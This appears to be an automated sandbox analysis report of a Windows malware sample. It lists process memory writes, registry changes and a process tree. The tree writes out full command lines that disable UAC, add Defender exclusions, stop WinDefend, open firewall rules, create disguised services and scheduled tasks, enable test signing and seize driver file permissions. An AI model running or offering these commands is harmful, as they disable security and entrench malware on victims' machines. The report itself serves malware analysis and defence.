PID 5036 wrote to memory of 1104	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	104
PID 5036 wrote to memory of 4364	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	108
PID 5036 wrote to memory of 3808	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	110
PID 5036 wrote to memory of 4608	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	112
PID 5036 wrote to memory of 2088	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	114
PID 5036 wrote to memory of 4636	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	116
PID 5036 wrote to memory of 652	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	118
PID 5036 wrote to memory of 3284	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	120
PID 5036 wrote to memory of 3868	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	123
PID 5036 wrote to memory of 3548	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	125
PID 5036 wrote to memory of 1452	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	127
PID 5036 wrote to memory of 4172	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	129
PID 5036 wrote to memory of 3876	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	131
PID 5036 wrote to memory of 3840	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	133
PID 5036 wrote to memory of 4004	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	135
PID 5036 wrote to memory of 4324	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	137
PID 5036 wrote to memory of 5052	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	139
PID 5036 wrote to memory of 3044	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	141
PID 5036 wrote to memory of 4040	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	142
PID 5036 wrote to memory of 4192	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	173
PID 5036 wrote to memory of 3704	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	147
PID 3704 wrote to memory of 3372	3704	cmd.exe	149
PID 5036 wrote to memory of 2344	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	150
PID 5036 wrote to memory of 1724	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	181
PID 2344 wrote to memory of 1716	2344	net.exe	154
PID 5036 wrote to memory of 1136	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	155
PID 1136 wrote to memory of 4276	1136	net.exe	158
PID 3296 wrote to memory of 3436	3296	Process not Found	218
PID 3296 wrote to memory of 3436	3296	Process not Found	218
PID 5036 wrote to memory of 3464	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	161
PID 5036 wrote to memory of 4608	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	163
PID 5036 wrote to memory of 2152	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	166
PID 5036 wrote to memory of 4476	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	168
PID 5036 wrote to memory of 3808	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	207
PID 5036 wrote to memory of 4004	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	172
PID 5036 wrote to memory of 4944	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	174
PID 5036 wrote to memory of 1672	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	176
PID 5036 wrote to memory of 1120	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	178
PID 5036 wrote to memory of 436	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	200
PID 5036 wrote to memory of 5052	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	201
PID 5036 wrote to memory of 4016	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	184
PID 5036 wrote to memory of 1588	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	186
PID 5036 wrote to memory of 2728	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	188
PID 5036 wrote to memory of 3368	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	190
PID 5036 wrote to memory of 3284	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	234
PID 5036 wrote to memory of 3936	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	194
PID 5036 wrote to memory of 2412	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	196
PID 5036 wrote to memory of 4184	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	198
PID 5036 wrote to memory of 436	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	242
PID 5036 wrote to memory of 1980	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	202
PID 5036 wrote to memory of 1612	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	204
PID 5036 wrote to memory of 2272	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	205
PID 5036 wrote to memory of 3908	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	206
PID 5036 wrote to memory of 3808	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	207
PID 5036 wrote to memory of 2824	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	208
PID 5036 wrote to memory of 3272	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	209
PID 5036 wrote to memory of 3056	5036	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	210
PID 3908 wrote to memory of 3436	3908	cmd.exe	218
PID 2272 wrote to memory of 1236	2272	CMD.exe	219

System policy modification 1 TTPs 13 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideTestMode = "1"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1944
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:1540
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-25_8da7b76568db1391edcecb2745951089_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3444
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:1212
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_6922ff3e" /F
  2⤵
  PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_6922ff3e" /XML "C:\Users\Admin\AppData\Local\Temp\000cf938-fc81-47ff-aeb8-c8701eacb9c1.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_55b44dfc" /F
  2⤵
  PID:2088
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_55b44dfc" /XML "C:\Users\Admin\AppData\Local\Temp\3fbcce98-2029-451e-a16a-beff57dfdd0f.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_03e8ab82" /F
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_03e8ab82" /XML "C:\Users\Admin\AppData\Local\Temp\7cdc99de-383e-4539-a955-305568fd6a72.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "SystemSoundsService_09ab989a" /F
  2⤵
  PID:4172
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "SystemSoundsService_09ab989a" /XML "C:\Users\Admin\AppData\Local\Temp\65c7b5d1-366d-4ae6-bc31-60b4ba676292.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2a352783" /F
  2⤵
  PID:4004
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2a352783" /XML "C:\Users\Admin\AppData\Local\Temp\c9e9df67-f872-40ec-9a17-8e16a6ad1aca.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_80cfe548" /F
  2⤵
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'ff.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_80cfe548" /XML "C:\Users\Admin\AppData\Local\Temp\616dc946-ad60-4869-b8a0-08ecb07aaab3.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 11 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 11 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3372
- C:\Windows\SYSTEM32\net.exe
  "net" stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\SYSTEM32\net.exe
  "net" start WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start WinDefend
    3⤵
    PID:4276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4476
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set nointegritychecks on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3808
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:4004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4192
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:4944
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:1120
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1724
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:5052
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:4016
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:1588
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:3368
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:3284
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
  2⤵
  - Modifies file permissions
  PID:3936
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set {current} testsigning off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2412
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" /set testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'ff.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:1980
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:1612
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "ff" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "ff"
    3⤵
    PID:1236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "ff" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "ff" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "ff_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3808
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "ff_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "ff_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:2824
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "ff_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "ff_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  PID:3272
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "ff_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
